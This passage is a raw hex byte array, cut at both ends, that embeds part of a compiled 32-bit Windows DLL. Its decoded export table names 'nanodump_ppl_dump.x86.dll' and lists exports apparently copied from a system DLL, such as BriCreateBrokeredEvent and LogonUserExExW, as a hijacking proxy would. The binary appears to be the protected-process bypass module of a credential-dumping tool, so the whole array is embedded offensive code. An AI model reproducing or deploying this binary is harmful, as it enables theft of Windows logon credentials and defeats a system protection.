x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x03,0x46,0x01,0xC5,0x0C,0x04,0x04,0x20,0x00,0x00,0x00,0x7C,0x00,0x00,0x00,0xCE,0x82,0xFF,0xFF,0xEB,0x04,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x47,0x83,0x03,0x03,0xE0,0x04,0xC5,0xC3,0x0C,0x04,0x04,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x1C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x80,0x87,0xFF,0xFF,0x32,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x6E,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x3C,0x00,0x00,0x00,0x92,0x87,0xFF,0xFF,0x9B,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0x97,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0x5C,0x00,0x00,0x00,0x0D,0x88,0xFF,0xFF,0x72,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x03,0x6E,0x01,0xC5,0x0C,0x04,0x04,0x1C,0x00,0x00,0x00,0x7C,0x00,0x00,0x00,0x5F,0x89,0xFF,0xFF,0x7D,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0x79,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0x9C,0x00,0x00,0x00,0xBC,0x89,0xFF,0xFF,0x0F,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x03,0x0B,0x01,0xC5,0x0C,0x04,0x04,0x20,0x00,0x00,0x00,0xBC,0x00,0x00,0x00,0xAB,0x8A,0xFF,0xFF,0xFC,0x03,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x47,0x87,0x03,0x03,0xF1,0x03,0xC5,0xC7,0x0C,0x04,0x04,0x2C,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0x83,0x8E,0xFF,0xFF,0xFD,0x05,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x49,0x87,0x03,0x86,0x04,0x83,0x05,0x03,0xED,0x05,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x10,0x01,0x00,0x00,0x50,0x94,0xFF,0xFF,0x56,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0x52,0xC5,0x0C,0x04,0x04,0x00,0x20,0x00,0x00,0x00,0x30,0x01,0x00,0x00,0x86,0x94,0xFF,0xFF,0x23,0x02,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x03,0x1B,0x02,0xC5,0xC3,0x0C,0x04,0x04,0x20,0x00,0x00,0x00,0x54,0x01,0x00,0x00,0x85,0x96,0xFF,0xFF,0xE4,0x03,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x03,0xDC,0x03,0xC5,0xC3,0x0C,0x04,0x04,0x1C,0x00,0x00,0x00,0x78,0x01,0x00,0x00,0x45,0x9A,0xFF,0xFF,0xE3,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0xDF,0xC5,0x0C,0x04,0x04,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x20,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0xF0,0x9A,0xFF,0xFF,0xBB,0x06,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x47,0x87,0x03,0x03,0xB0,0x06,0xC5,0xC7,0x0C,0x04,0x04,0x1C,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x87,0xA1,0xFF,0xFF,0x41,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x7B,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0xA8,0xA1,0xFF,0xFF,0x06,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x42,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x8E,0xA1,0xFF,0xFF,0x06,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x42,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0xA0,0x00,0x00,0x00,0x74,0xA1,0xFF,0xFF,0x06,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x42,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x5A,0xA1,0xFF,0xFF,0x06,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x42,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0x40,0xA1,0xFF,0xFF,0x06,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x42,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x26,0xA1,0xFF,0xFF,0x06,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x42,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x20,0x01,0x00,0x00,0x0C,0xA1,0xFF,0xFF,0x06,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x42,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x40,0x01,0x00,0x00,0xF2,0xA0,0xFF,0xFF,0x06,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x42,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x60,0x01,0x00,0x00,0xD8,0xA0,0xFF,0xFF,0x06,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x42,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x80,0x01,0x00,0x00,0xBE,0xA0,0xFF,0xFF,0x06,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x42,0xC5,0x0C,0x04,0x04,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x1C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x90,0xA0,0xFF,0xFF,0x39,0x00,0x00,0x00,0x00,0x4C,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x62,0xC5,0x0C,0x04,0x04,0x00,0x00,0x24,0x00,0x00,0x00,0x3C,0x00,0x00,0x00,0xB0,0xA0,0xFF,0xFF,0x5A,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x75,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x44,0x0B,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x64,0x00,0x00,0x00,0xE8,0xA0,0xFF,0xFF,0x1C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x24,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0xDC,0xA0,0xFF,0xFF,0x3F,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x50,0x0A,0xC5,0x0C,0x04,0x04,0x4D,0x0B,0x5C,0xC5,0x0C,0x04,0x04,0x00,0x00,0x30,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0xF4,0xA0,0xFF,0xFF,0x96,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x69,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x48,0x0B,0x6C,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x4C,0x0B,0x63,0xC5,0xC3,0x0C,0x04,0x04,0x10,0x00,0x00,0x00,0x78,0x00,0x00,0x00,0x60,0xA1,0xFF,0xFF,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x18,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x44,0xA1,0xFF,0xFF,0x5A,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x41,0x83,0x03,0x2C,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x88,0xA1,0xFF,0xFF,0x57,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x43,0x87,0x03,0x86,0x04,0x83,0x05,0x02,0xBB,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x44,0x0B,0x00,0x3C,0x00,0x00,0x00,0x68,0x00,0x00,0x00,0xB8,0xA2,0xFF,0xFF,0xEF,0x02,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x4E,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x46,0x0B,0x03,0xAB,0x02,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x41,0x0B,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x28,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x50,0xA5,0xFF,0xFF,0x71,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x02,0x64,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x24,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0xA4,0xA5,0xFF,0xFF,0x76,0x00,0x00,0x00,0x00,0x51,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x02,0x59,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x41,0x0B,0x00,0x00,0x2C,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0xFC,0xA5,0xFF,0xFF,0x88,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x52,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x47,0x0B,0x02,0x56,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x4A,0x0B,0x00,0x2C,0x00,0x00,0x00,0xA0,0x00,0x00,0x00,0x5C,0xA6,0xFF,0xFF,0xE5,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x72,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x47,0x0B,0x02,0x7E,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x42,0x0B,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x24,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x04,0xA7,0xFF,0xFF,0x2F,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x44,0x0D,0x05,0x58,0x0A,0xC5,0x0C,0x04,0x04,0x43,0x0B,0x49,0xC5,0x0C,0x04,0x04,0x00,0x00,0x24,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x0C,0xA7,0xFF,0xFF,0x46,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x45,0x86,0x03,0x83,0x04,0x7B,0xC3,0x41,0xC6,0x41,0xC5,0x0C,0x04,0x04,0x00,0x38,0x00,0x00,0x00,0x6C,0x00,0x00,0x00,0x34,0xA7,0xFF,0xFF,0xAC,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x43,0x87,0x03,0x86,0x04,0x83,0x05,0x02,0x8D,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x4A,0x0B,0x48,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x00,0x00,0x24,0x00,0x00,0x00,0xA8,0x00,0x00,0x00,0xA8,0xA7,0xFF,0xFF,0x86,0x00,0x00,0x00,0x00,0x7C,0x0E,0x08,0x85,0x02,0x4D,0x0D,0x05,0x41,0x86,0x03,0x48,0x83,0x04,0x71,0xC3,0x41,0xC6,0x41,0xC5,0x0C,0x04,0x04,0x10,0x00,0x00,0x00,0xD0,0x00,0x00,0x00,0x10,0xA8,0xFF,0xFF,0x33,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x28,0x00,0x00,0x00,0xE4,0x00,0x00,0x00,0x3C,0xA8,0xFF,0xFF,0x7E,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x4D,0x0D,0x05,0x41,0x83,0x03,0x61,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x48,0x0B,0x02,0x45,0xC5,0xC3,0x0C,0x04,0x04,0x10,0x00,0x00,0x00,0x10,0x01,0x00,0x00,0x90,0xA8,0xFF,0xFF,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x24,0x01,0x00,0x00,0xBC,0xA8,0xFF,0xFF,0x8E,0x00,0x00,0x00,0x00,0x7C,0x0E,0x08,0x85,0x02,0x4D,0x0D,0x05,0x42,0x86,0x03,0x83,0x04,0x70,0x0A,0xC3,0x43,0xC6,0x41,0xC5,0x0C,0x04,0x04,0x41,0x0B,0x44,0xC3,0x41,0xC6,0x41,0xC5,0x0C,0x04,0x04,0x00,0x44,0x00,0x00,0x00,0x58,0x01,0x00,0x00,0x18,0xA9,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x4D,0x0D,0x05,0x43,0x87,0x03,0x86,0x04,0x83,0x05,0x5D,0x0A,0xC3,0x43,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x45,0x0B,0x02,0x43,0x0A,0xC3,0x41,0xC6,0x43,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x48,0x0B,0x64,0xC3,0x41,0xC6,0x41,0xC7,0x47,0xC5,0x0C,0x04,0x04,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x10,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x78,0xA9,0xFF,0xFF,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x10,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x8C,0xA9,0xFF,0xFF,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x20,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x70,0xA9,0xFF,0xFF,0x2F,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x44,0x0D,0x05,0x41,0x83,0x03,0x68,0xC5,0xC3,0x0C,0x04,0x04,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x1C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x64,0xA9,0xFF,0xFF,0x2C,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x44,0x0D,0x05,0x66,0xC5,0x0C,0x04,0x04,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x2C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x5C,0xA9,0xFF,0xFF,0xAC,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x02,0x91,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x41,0x0B,0x00,0x28,0x00,0x00,0x00,0x4C,0x00,0x00,0x00,0xDC,0xA9,0xFF,0xFF,0x57,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x45,0x86,0x03,0x83,0x04,0x02,0x41,0x0A,0xC3,0x41,0xC6,0x41,0xC5,0x0C,0x04,0x04,0x45,0x0B,0x00,0x10,0x00,0x00,0x00,0x78,0x00,0x00,0x00,0x10,0xAA,0xFF,0xFF,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x1C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0xF4,0xA9,0xFF,0xFF,0x14,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x50,0xC5,0x0C,0x04,0x04,0x00,0x00,0x28,0x00,0x00,0x00,0x3C,0x00,0x00,0x00,0xF4,0xA9,0xFF,0xFF,0x35,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x56,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x43,0x0B,0x54,0xC5,0xC3,0x0C,0x04,0x04,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x10,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0xF0,0xA9,0xFF,0xFF,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2C,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0xEC,0xA9,0xFF,0xFF,0x7B,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x68,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x4C,0x0B,0x00,0x00,0x2C,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x3C,0xAA,0xFF,0xFF,0x7B,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x68,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x4C,0x0B,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x1C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x74,0xAA,0xFF,0xFF,0x11,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0xC5,0x0C,0x04,0x04,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x24,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x5C,0xAA,0xFF,0xFF,0x29,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x5E,0x0A,0xC5,0x0C,0x04,0x04,0x41,0x0B,0x46,0xC5,0x0C,0x04,0x04,0x00,0x00,0x2C,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x64,0xAA,0xFF,0xFF,0xC6,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x02,0x44,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x48,0x0B,0x00,0x28,0x00,0x00,0x00,0x74,0x00,0x00,0x00,0x04,0xAB,0xFF,0xFF,0x69,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x02,0x5C,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x44,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x30,0xAC,0xFF,0xFF,0x71,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x5A,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x4A,0x0B,0x66,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x47,0x0B,0x4D,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x10,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x4C,0xAC,0xFF,0xFF,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x9C,0x79,0x7A,0x68,0x00,0x00,0x00,0x00,0x96,0x50,0x01,0x00,0x01,0x00,0x00,0x00,0x0B,0x00,0x00,0x00,0x0B,0x00,0x00,0x00,0x28,0x50,0x01,0x00,0x54,0x50,0x01,0x00,0x80,0x50,0x01,0x00,0xD6,0xB9,0x00,0x00,0xDC,0xB9,0x00,0x00,0x8F,0xB9,0x00,0x00,0xE8,0xB9,0x00,0x00,0x06,0xBA,0x00,0x00,0xF4,0xB9,0x00,0x00,0xE2,0xB9,0x00,0x00,0x00,0xBA,0x00,0x00,0xFA,0xB9,0x00,0x00,0xEE,0xB9,0x00,0x00,0xD0,0xB9,0x00,0x00,0xB0,0x50,0x01,0x00,0xC9,0x50,0x01,0x00,0xE2,0x50,0x01,0x00,0xED,0x50,0x01,0x00,0x06,0x51,0x01,0x00,0x1F,0x51,0x01,0x00,0x3B,0x51,0x01,0x00,0x55,0x51,0x01,0x00,0x6F,0x51,0x01,0x00,0x91,0x51,0x01,0x00,0xB4,0x51,0x01,0x00,0x00,0x00,0x01,0x00,0x02,0x00,0x03,0x00,0x04,0x00,0x05,0x00,0x06,0x00,0x07,0x00,0x08,0x00,0x09,0x00,0x0A,0x00,0x6E,0x61,0x6E,0x6F,0x64,0x75,0x6D,0x70,0x5F,0x70,0x70,0x6C,0x5F,0x64,0x75,0x6D,0x70,0x2E,0x78,0x38,0x36,0x2E,0x64,0x6C,0x6C,0x00,0x42,0x72,0x69,0x43,0x72,0x65,0x61,0x74,0x65,0x42,0x72,0x6F,0x6B,0x65,0x72,0x65,0x64,0x45,0x76,0x65,0x6E,0x74,0x40,0x30,0x00,0x42,0x72,0x69,0x44,0x65,0x6C,0x65,0x74,0x65,0x42,0x72,0x6F,0x6B,0x65,0x72,0x65,0x64,0x45,0x76,0x65,0x6E,0x74,0x40,0x30,0x00,0x44,0x6C,0x6C,0x4D,0x61,0x69,0x6E,0x40,0x31,0x32,0x00,0x45,0x41,0x43,0x72,0x65,0x61,0x74,0x65,0x41,0x67,0x67,0x72,0x65,0x67,0x61,0x74,0x65,0x45,0x76,0x65,0x6E,0x74,0x40,0x30,0x00,0x45,0x41,0x44,0x65,0x6C,0x65,0x74,0x65,0x41,0x67,0x67,0x72,0x65,0x67,0x61,0x74,0x65,0x45,0x76,0x65,0x6E,0x74,0x40,0x30,0x00,0x45,0x41,0x51,0x75,0x65,0x72,0x79,0x41,0x67,0x67,0x72,0x65,0x67,0x61,0x74,0x65,0x45,0x76,0x65,0x6E,0x74,0x44,0x61,0x74,0x61,0x40,0x30,0x00,0x45,0x61,0x43,0x72,0x65,0x61,0x74,0x65,0x41,0x67,0x67,0x72,0x65,0x67,0x61,0x74,0x65,0x64,0x45,0x76,0x65,0x6E,0x74,0x40,0x30,0x00,0x45,0x61,0x44,0x65,0x6C,0x65,0x74,0x65,0x41,0x67,0x67,0x72,0x65,0x67,0x61,0x74,0x65,0x64,0x45,0x76,0x65,0x6E,0x74,0x40,0x30,0x00,0x45,0x61,0x46,0x72,0x65,0x65,0x41,0x67,0x67,0x72,0x65,0x67,0x61,0x74,0x65,0x64,0x45,0x76,0x65,0x6E,0x74,0x50,0x61,0x72,0x61,0x6D,0x65,0x74,0x65,0x72,0x73,0x40,0x30,0x00,0x45,0x61,0x51,0x75,0x65,0x72,0x79,0x41,0x67,0x67,0x72,0x65,0x67,0x61,0x74,0x65,0x64,0x45,0x76,0x65,0x6E,0x74,0x50,0x61,0x72,0x61,0x6D,0x65,0x74,0x65,0x72,0x73,0x40,0x30,0x00,0x4C,0x6F,0x67,0x6F,0x6E,0x55,0x73,0x65,0x72,0x45,0x78,0x45,0x78,0x57,0x40,0x30,0x00,0x00,0x00,0x00,